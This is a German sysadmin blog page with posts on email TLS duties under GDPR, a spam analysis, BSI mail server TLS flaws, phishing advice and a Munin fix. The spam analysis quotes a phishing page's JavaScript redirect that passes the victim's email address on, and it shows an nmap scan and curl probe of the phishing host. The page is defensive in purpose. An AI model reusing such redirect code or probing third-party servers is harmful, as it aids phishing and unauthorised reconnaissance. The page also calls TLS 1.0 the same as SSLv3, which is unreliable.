DS GVO: Email Transportverschlüsselung wird Pflicht sein

Willkommen im Chaos des Datenschutzes. Ich hatte ja schon lange den Verdacht, daß EMails auch nur noch mit TLS übertragen werden dürfen, wenn man zum Datenschutz verpflichtet ist. Dabei habe ich mich aber immer gewundert, wieso das nie in der Presse steht. Jetzt wird sich das hoffentlich hektisch ändern.

Die Meinungen zur TLS Verschlüsselung von Emails

Wie uns Rechtsanwalt Schwartmann auf seiner Webseite wissen läßt, ist ab Freitag aufgrund der Datenschutz Grundverordnung wahrscheinlich eine TLS Verschlüsselung für eingehende und ausgehende Emails Pflicht, sofern man ein Unternehmen betreibt oder aus anderen Gründen zum Datenschutz verpflichtet ist.

Nach Ansicht des Landesbeauftragten für Datenschutz und Informationsfreiheit Nordrhein-Westfalen ist eine Transportverschlüsselung auf jeden Fall erforderlich:
Bezüglich der sicheren Implementierung der Transportebene hat das Bundesamt für Sicherheit in der Informationstechnologie die Technische Richtlinie „BSI TR-03108-1: Secure E-Mail Transport“ herausgegeben.
Unter datenschutzrechtlichen Gesichtspunkten ist diese Richtlinie als Stand der Technik zu betrachten, so dass ihre Umsetzung eine notwendige Voraussetzung für die datenschutzkonforme E-Mail-Kommunikation ist.

Quelle: https://www.rechtsanwalt-schwartmann.de/verschluesselungspflicht/
„(Ende Zitat)

Die Bundesbeauftragte für den Datenschutz und die Informationsfreiheit hat uns heute morgen endlich wissen lassen, daß nur der Einsatz von TLS 1.2 in Frage kommt:

„Inwieweit ein Provider, der die Infrastruktur zur Verfügung stellt, eine Option anbieten muss, die ausschließlich den Empfang von TLS 1.2 transportverschlüsselten E-Mails zulässt, beurteilt sich nach dem gegenwärtigen Stand der Technik.

Der gegenwärtige Stand der Technik ist, daß TLS 1.2 seit 2008 das Maß der Dinge ist. Der Nachfolger TLS 1.3 wird aber bald kommen, da die Planung des Standards kürzlich beendet wurde. Das hält aber gerade den BUND, wo die Information her ist, nicht davon ab, auch heute noch mit TLS 1.0 zu senden 😀 (Böser Dienstleister vom Bundmailserver 😉 )

IMHO

Ich schließe mich dieser Meinung an, da auch ich die DS GVO so interpretiere, daß alle Kommunikationskanäle verschlüsselt sein müssen. Wie einfach das gehen kann, zeigt folgende Anleitung :

Zunächst mal wählen wir im Account unter „Mailserver“ die „EMail-Options“ aus:

Nun aktivieren wir die beiden obersten Punkte:

„Verbindung zum Server benötigt Verschlüsselung“ und „Empfangener Mailserver muß TLS benutzen“

Das war es dann auch schon, jetzt kommen nur noch TLS gesicherte EMails an den Mailserver ran. Damit entspricht das Mailserververhalten dem geltenden Datenschutzrecht.

Wer es ganz genau nehmen will, der müßte auch noch DANE implementieren, da dies in einer BSI Richtlinie zum Thema gefordert wird. Da DANE aber AFAIK noch nicht 100% ausgereift ist, könnte der Teil schwierig werden, was nicht heißt, das einige Provider dies nicht schon implementiert hätten.

Bei Exim ist grade eine passende Diskussion gestartet worden.

Quellenlinks:

https://www.ldi.nrw.de/mainmenu_Aktuelles/Inhalt/Technische-Anforderungen-an-technische-und-organisatorische-Massnahmen-beim-E-Mail-Versand/Technische-Anforderungen-an-technische-und-organisatorische-Massnahmen-beim-E-Mail-Versand.html

https://www.rechtsanwalt-schwartmann.de/verschluesselungspflicht/

https://www.bsi.bund.de/DE/Publikationen/TechnischeRichtlinien/tr03108/index_htm.html

STYLE_GIBBERISH – der neue SPAM Trend

Da ich ja nicht mehr allzuviel Spams in meinem Postfach zu sehen bekomme, um nicht zu sagen, gar keine mehr, wird es mal wieder Zeit auf den Stand der Spammails einzugehen. Der ist noch immer so gruselig wie vor Jahren, in meinen alten Beiträgen zur Spamanalyse:

Heute ist es die Postbank, morgen schon …
Virus per Online-Einschreiben
oder Mailserver mit der eigenen Addresse täuschen
…und noch ein paar andere…

Diesmal soll es um die „ING-DiBa Kontosicherheit“ gehen, die mir etwas mitteilen wollte, aber dazu nicht in der Lage war 🙂

Schauen wir uns zunächst mal die Header an, es sofort auf, daß die Email  VON und AN die gleiche Adresse geht :

Received: from localhost.localdomain ([91.45.174.108]) by
 mrelayeu.kundenserver.de (mreue103 [212.227.15.183]) with ESMTPSA (Nemesis)
 id 0MalH0-1dUPAp17kI-00KN3S for <SPAMTRAP>; Sat, 27 May 2017 01:32:58
 +0200
Date: Sun, 28 May 2017 07:05:41 +0300
To: SPAMTRAP
From: ING-DiBa Kontosicherheit <SPAMTRAP>
Message-ID: <27f454376ba4bd7add8932a946d4e5d1d3e58@localhost.localdomain>
X-Mailer: PHPMailer 5.2.16 (https://github.com/PHPMailer/PHPMailer)

Besonders deutlich als Spam, outet natürlich der 1und1 Server diese Spam 😉  PHPMailer ist derzeit sehr beliebt was die Spammer betrifft, da er brav auf jedem gehackten PHPfähigen Server läuft.

Unser Spamassassin hat die Email dann aus einander genommen und mir einen bis dahin völlig unbekannten Spam-Tag gezeigt :

Inhaltsanalyse im Detail:   (4.7 Punkte, 5.0 benötigt)

Pkte Regelname              Beschreibung
---- ---------------------- --------------------------------------------------
-0.0 RP_MATCHES_RCVD        Envelope sender domain matches handover relay domain
1.2 DATE_IN_FUTURE_24_48    Absendezeit 24 bis 48 Stunden nach Datum in "Received"-Kopfzeilen
-0.0 SPF_PASS               SPF: Senderechner entspricht SPF-Datensatz 
0.0 FREEMAIL_FROM           Sender email is commonly abused enduser mail provider (<SPAMTRAP>)
-0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low trust [212.227.17.12 listed in list.dnswl.org]
0.0 HTML_MESSAGE           BODY: Nachricht enthält HTML
1.1 MIME_HTML_ONLY         BODY: MIME-Nachricht besteht nur aus HTML
-0.0 RCVD_IN_MSPIKE_H3      RBL: Good reputation (+3) [212.227.17.12 listed in wl.mailspike.net]
-0.0 RCVD_IN_MSPIKE_WL      Mailspike good senders
0.0 TVD_SPACE_RATIO        No description available.
3.1 STYLE_GIBBERISH        Nonsense in HTML <STYLE> tag
0.0 T_REMOTE_IMAGE         Message contains an external image
Subject:  =?ISO-8859-15?B?WnUgSWhyZXIgU2ljaGVyaGVpdCAoUmVmZXJlbnpudW1tZXI6IA==?=i3qwx34018)

Dieser Style-Gibbrish sieht so aus :

<style>

1mvv1ze1aa0-phchyg0i2au-msrxtcsjntv-i7p2jrrrb1-0jm77ygif69
9ucup9rjk91-jbw5456n89t-2jxyjwxfrpc-zguxavahkm-8ffe0zh5det
k2m2e4qk3nh-g1kgfuhzkg1-8yxrh55b2dn-gzse9g9wpzh-9vmxwgz6t
wjicrmr2ss7-gokyjkdjrk7-cmnjgh3p847-qhogebh5cvm-3roisw1p4o
72xpjo0uoxj-4ncqa1qavne-9ticuweosja-cv6s8vq5n53-bex9y2a7iu7
...

Und dient dazu, die Email zu individualisieren, damit Checksummen vom immer „gleichen“ Inhalt, halt nicht immer gleich sind 😉  Das scheint ein neues Phänomen zu sein, da ich das erst bei zwei Spams in den letzten Wochen hatte.

Die übliche Schrott-URL „http://d9n0b3c8n7m2c0.hopto_org/TN7e5/wE2Yb_html?“ zur gehackten Webpräsenz mit Trojaner, Fake Webseite der Bank usw. darf natürlich auch nicht fehlen. (damit keiner drauf drückt, wurde der Link verändert ).

Der Schrott im Styleheader der HTML Mail, funktioniert deswegen, weil er am Ende des Dokuments steht und keinen SchlußTag hat, damit wird er von der Renderengine ignoriert, und selbst wenn er interpretiert würde, würde die CSS Engine, daß einfach als Error überspringen. Ergo, der Umleitung steht nichts mehr im Weg.

Wenn man sich die Mail so ansehen würde, erschiene im Mailprogramm übrigens nur ein Bild mit einem Link drüber, ob man da das Logo sieht, oder ob das schon ein Angriff auf die (PNG|JPEG|GIF|SVG)  Renderengine des OS sein wird, wer weiß, am besten nicht nachsehen 😉

Wie immer : Weg mit dem Dreck – > Ab in die Tonne!

Jetzt diggen wir mal etwas tiefer und das auch der Grund, wieso das über das OSBN geht, denn LINUX ist im Spiel 🙂

Wenn man die URL’s aufruft, kommt der Grund für den Hack recht schnell ans Licht :

HTTP/1.1 200 OK
Date: Sat, 27 May 2017 07:19:37 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.14

  1. Ubuntu ist kein Server-OS .. Merken!
  2. komplett veraltete Version von Serverdiensten bedürfen nicht mal eines ZeroDays ala #SambaCry

Das ist ein aktueller Apache : httpd-2.4.25 und das ein aktuelles PHP : php71-php-cli-7.1.5-1

Merke: Hosting den Profis überlassen!

Folgt man der Spur durchs Netz kommt man über den javascript-Refresh in der aufgerufenen Webseite:

window.location = 'http://e0m7b93c5l7s9.o2l9j5d8a0f4c1.dynu.net/5lrHbq9Z
/c.php?click=yes&acc=yes&data=r5KHCKorFo&e=' + email;

Zu dieser Seite :  lwcp23.mooo.com

$ host e0m7b93c5l7s9.o2l9j5d8a0f4c1.dynu.net
 e0m7b93c5l7s9.o2l9j5d8a0f4c1.dynu.net is an alias for lwcp23.mooo.com.
 lwcp23.mooo.com has address 54.208.245.114

einer gehackten Amazon Instanz. EC2 rulz halt 😀 und das ist jetzt schon wieder witzig, weil genau der gleiche uralte Webserver dort läuft:

Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.14

gibt es da vielleicht einen Grund für ???  JA :

$ host d9n0b3c8n7m2c0.hopto.org
d9n0b3c8n7m2c0.hopto.org is an alias for lwcp23.mooo.com.
lwcp23.mooo.com has address 54.208.245.114

Es ist der gleiche Server, nur mit anderer Web-Adresse, da fragt man sich dann, ob die Spammer einfach nur zu blöde sind, es gleich ohne Umleitung richtig zu machen, oder unterwegs noch mehr passiert als man zunächst sieht.

Ein kurzer Portscan zeigt uns über den Server zunächst nichts interessantes außer Port 8443 in Betrieb.

Completed SYN Stealth Scan at 09:35, 7.96s elapsed (1000 total ports)
Nmap scan report for ec2-54-208-245-114.compute-1.amazonaws.com (54.208.245.114)
Host is up (0.12s latency).
Not shown: 996 filtered ports
PORT     STATE  SERVICE
22/tcp   open   ssh
80/tcp   open   http
443/tcp  closed https
8443/tcp open   https-alt

Jetzt habe ich gedacht, es gäbe keinen Witz mehr bei der Analyse, aber so kann man sich irren :

$ curl -i --insecure https://54.208.245.114:8443
HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Strict-Transport-Security: max-age=31536000 ; includeSubDomains
X-XSS-Protection: 1; mode=block
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Set-Cookie: JSESSIONID=F368A79640EEBD34D3CF5F19E5A95A3B; Path=/; Secure; HttpOnly
Location: https://infield-demo.cellebrite.com:8444/cas/login?service=https%3A%2F%2Finfield-demo.cellebrite.com%3A8443%2Fj_spring_cas_security_check
Content-Length: 0
Date: Sat, 27 May 2017 07:37:16 GMT

Wenn man jetzt nach dieser URL googelt, kommt u.a. das hier :

Cellebrite - Mobile Forensics Webinars

www.cellebrite.com/Mobile…/News…/WebinarsIm CacheÄhnliche Seiten
Cellebrite's Mobile Forensics solutions enable forensic professionals worldwide to ... UFED Physical Analyzer LIVE-Produktdemo: Beschleunigen Sie Ihre ...

Wer es nicht weiß, „Forensics“ ist die Analyse von Computern, wenn in die eingebrochen wurde oder die zum Einbruch benutzt wurden(oder für Kinderpo…. usw. ).

Da stellt sich mir jetzt ernsthaft die Frage, was das für ein komischer Server ist, daß der sowas .. ach nein, DAS IST DER SERVER infield-demo.cellebrite.com 😀 . Dieser Server hat nichts .. keine Security, kein aktuelles OS, keine aktuelle Software,. nicht mal eine 404 Webseite 😀  Oh man..

Deswegen, immer brav das OS upgraden , gell 😉

Neue TLS Probleme beim BSI

Vor zwei Wochen habe ich auf Probleme beim EMailversand des BSI aufmerksam gemacht. Damals bekam ich nach 24h die Rückmeldung, daß die Probleme behoben seien.

Leider mußten wir heute feststellen, daß das BSI Mailserver benutzt, die nicht-deterministisch sind, sprich, mal gehts, mal nicht 😉  Einer unser Server, der die gleiche Konfig hat wie alle anderen mit StartTLS anbietet, bekam nun unverschlüsselt Post vom buerger-cert.de Mailserver, obwohl dieser keine Stunde vorher einem anderen Server eine TLS verschlüsselte Verbindung angeboten hat… HMMMM!

Da haben wir dann mal genauer hingesehen und fanden noch weitere Probleme beim TLS des bei der OpenIT GmbH gehosteten Servers:

A) Es fällt auf, daß buerger-cert.de als MX gar keinen eigenen Mailserver einsetzt, sondern den zentral Mailserver von Openit.de benutzt :

2016-08-23 13:18:08 1bc9iZ-0005l4-Nl => mailversand@buerger-cert.de R=dnslookup T=remote_smtp H=mx.openit.de [217.69.65.200] X=TLSv1:AES128-SHA:128 C=“250 Ok: queued as E9B4011A055″

Das wird den gleichen Sicherheitslevel haben wie mx.kundenserver.de aka 1und1 Mailserver, oder vielleicht doch nicht ? 🙂

B) Nein, haben sie nicht, denn der dort eingesetzte Postfix Mailserver (220 mx.openit.de ESMTP Postfix)  scheint „etwas“ veraltet zu sein, oder auf veralteter Software zu laufen, denn er bietet nur TLS 1.0 an. Experten kennen das auch als SSLv3 und das ist ja bekanntlich geknackt worden und sollte nicht mehr eingesetzt werden.

Jetzt muß man 1und1 bescheinigen, wenigstens konsequent zu sein und überall TLS 1.2 einzusetzen, aber dafür immer noch SSLv3 anzunehmen 😀 Was die Macher von ssl-tools.net dazu meinen, kann man hier sehen :

https://ssl-tools.net/mailservers/1und1.de    (Ja, den Gag versteht man nur, wenn man den Link aufruft 😉 )

Was ssl-tools.net vom bueger-cet.de Mailserver hält, sieht man hier :

BSI-Neue-Probleme-mit-TLS(Stand: 25.8.2016 )

C) Die Mailserver im Cluster sind unterschiedlich konfiguriert … hää ?????? Einer kann TLS 1.2 der nächste nicht ??  Da kann man nur den Kopf schütteln.

Fazit

Auch wenn das BSI ein Problem gelöst hat, es sind noch viel mehr vorhanden. Bin mal gespannt, wann das behoben wird, denn die Meldung an das BSI ging natürlich vor diesem Artikel raus 🙂

dumm – dümmer – Bundestag

Wie gestern bekannt wurde, hat das BSI herausgefunden, wie der Angriff auf den Bundestag abgelaufen ist. Es war ein Insiderjob, denn wie sich herausgestellt hat, sind Bundestagsmitarbeiter und -abgeordnete nicht schlauer als der Durchschnittsbürger.

Der Klassiker: Sie bekommen eine Email mit einem Link drin und klicken einfach drauf.

Nochmal für alle :

1. Keine Emails von Fremden öffnen, auf die man nicht wartet.
2. Keine Links und Emails von Fremden anklicken
3. Wenn man schon 1. + 2. ignoriert, dann nur mit einem Browser bei dem Flash und Javascript abgeschaltet sind und der NICHT von Microsoft stammt.
4. Sich nicht bei den Leuten beschweren, die einem ins Gesicht gesagt haben, daß man selbst Schuld sei an seinem Opferstatus.

Ein bisschen Literatur zum Nachlesen: Archiv

Munin unter Fedora 21 zum Laufen bringen

Munin hat speziell mich die letzten zwei Wochen auf Trab gehalten, seitdem unsere Testserver für die neuen Softwarekomponenten auf Fedora 21 umgestellt wurden. Jeden Tag haben wir hunderte Emails von Munin bekommen, daß alles auf dem Server ok wäre. Eine Konsultation mit den Entwicklern von Munin brachte nur ein „Kann ich nicht reproduzieren“ hervor, ja.. also.. kann passieren 😉

Da mir das nun langsam auf die Nerven gegangen ist, habe ich mich dann selbst an Munin versucht.

Das Problem

Das DiskFree Modul und die DiskFree-Inodes Modul von Munin ( kurz df und df_inode) gehen die Liste von Filesystemen eines Servers durch und prüfen, ob diese voll oder fast voll sind. Dabei wird scheinbar alles geprüft, was irgendwie ein Filesystem ist, selbst romfs, ramfs  und debugfs, die ja nun keine echten Filesysteme mit möglichen Belegungsproblemen sind. Komischerweise schickte uns Munin immer nur OK Meldungen, aber keine Warnmeldungen zu df und df_inode zu. Die Filesysteme auf den Servern hatten zudem auch gar keine Belegungsprobleme, trotzdem haben wir alle 15 bis 30 Minuten so eine Email bekommen.

testdomain.de :: testdomain.de :: Inode usage in percent OKs: /run/user/0 is 0.00, /sys/fs/cgroup is 0.01, /opt/root/dev/shm is 0.00, /run is 0.88, / is 3.78, /run/user/496 is 0.00, /dev/shm is 0.00, /dev is 0.24.

Die Analyse

Munin bietet zwar von Haus aus Debugfunktionen an, aber keine führte zum Ziel. Damit man Munin debuggen kann, muß man zunächst zum Munin User werden, der „normalerweise“ keine Shell hat, damit man sich nicht einloggen kann:
# su munin -s /bin/bash

Dann gibt mal als erstes mal munin-limits ein, um sich einen Überblick zuverschaffen.

# /usr/share/munin/munin-limits --debug

pre>2014/12/22 15:41:19 [DEBUG] processing critical: _dev_xvda1 ->  : 98
2014/12/22 15:41:19 [DEBUG] processing warning: _dev_xvda1 ->  : 92
2014/12/22 15:41:19 [DEBUG] processing unknown_limit: _dev_xvda1 -> 3
2014/12/22 15:41:19 [DEBUG] processing field: localhost::localhost::df::_dev_xvda1
2014/12/22 15:41:19 [DEBUG] field: $VAR1 = {
‚#%#name‘ => ‚_dev_xvda1‘,
‚critical‘ => ’98‘,
‚graph_data_size‘ => ’normal‘,
‚label‘ => ‚/‘,
‚update_rate‘ => ‚300‘,
‚warning‘ => ’92‘
};
2014/12/22 15:41:19 [DEBUG] value: localhost::localhost::df::_dev_xvda1: 22.62 (crit: :98) (warn: :92)
2014/12/22 15:41:19 [DEBUG] generating service message: localhost::localhost::df
2014/12/22 15:41:19 [DEBUG] Contact list for localhost::localhost::df:
2014/12/22 15:41:19 [DEBUG] processing service: fw_conntrack
2014/12/22 15:41:19 [DEBUG] state_file: /var/lib/munin/state-localhost-localhost.storable

Das obige Beispiel ist natürlich nur ein Ausschnitt, im Normalfall kommen dort Dutzende verschiedene Werte zur Ausgabe. Interessant ist diese Zeile:
value: localhost::localhost::df::_dev_xvda1: 22.62 (crit: :98) (warn: :92)
Der Wert des Feldes „df“ war 22.62 % für /dev/xvda1 ( unsere Rootpartition ). Eine Warnung gibt es bei  92 % Belegung und einen Critical ab 98%.  In diesem Beispielfall kommt also keine Email zustande, weil alles im Toleranzbereich ist.
Munin schickt laut Sourcecode nur dann noch Emails, wenn sich der Zustand geändert hat, also z.b. vorher Critical war und dann bei nächsten Check wieder OK ist. Genauso in die andere Richtung ( ok -> fail ).
d.h., wenn Munin keinen anderen tieferen Bug hat, muß es so einen Wechsel festgestellt haben und da die Platte als Quelle ausschied, weil dich dort nicht geändert hat, mußte die Warnung für ein anderes Filesystem gekommen sein, auch wenn man das nicht gesehen hat. Allzuviele kommen da nicht in Frage:
Dateisystem    Größe Benutzt Verf. Verw% Eingehängt auf
/dev/xvda1       78G     17G   58G   23% /
devtmpfs        490M       0  490M    0% /dev
tmpfs           500M       0  500M    0% /dev/shm
tmpfs           500M    3,1M  497M    1% /run
tmpfs           500M       0  500M    0% /sys/fs/cgroup
tmpfs           500M    4,0K  500M    1% /opt/root/dev/shm
tmpfs           100M       0  100M    0% /run/user/0
Scheinbar hatten sich die Ausgaben für tempfs und devtempfs von Fedora 20 zu Fedora 21 verändert,
was Munin verwirrt hat.

Die Lösung

Nach einigen Tests gelang es mir dann, Munin zur Aufgabe zu bewegen.

Dazu muß man in der plugin-conf für df das devtempfs und das tempfs excluden. Es macht sowieso kaum Sinn ein Ramlaufwerk zu checken, da Ramlaufwerke i.d.R. immer zu 100% voll sind, außer man hat ein fixed Ram-Drive gewählt.

# cat /etc/munin/plugin-conf.d/df
[df*]
env.exclude none unknown iso9660 squashfs udf romfs ramfs debugfs binfmt_misc rpc_pipefs fuse.gvfs-fuse-daemon tmpfs devtmpfs

Das alleine half aber nur bei dem Wert für df, df_inode sendete fleißig weiter OK Meldungen. Wie sich dann herausstellte, kann man auch für das df_inode eine eigene Configdatei ablegen. Dazu braucht man nur die df Datei zu kopieren „cp df df_inode“ und dann das System neustarten : systemctl restart munin-node . Den letzten Schritt sollte man nicht vergessen, denn auch wenn Munin alle 5 Minuten vom Cron gestartet wird, heißt das nicht, daß die Limits dann eingelesen werden, da die Node als eigener Prozess läuft.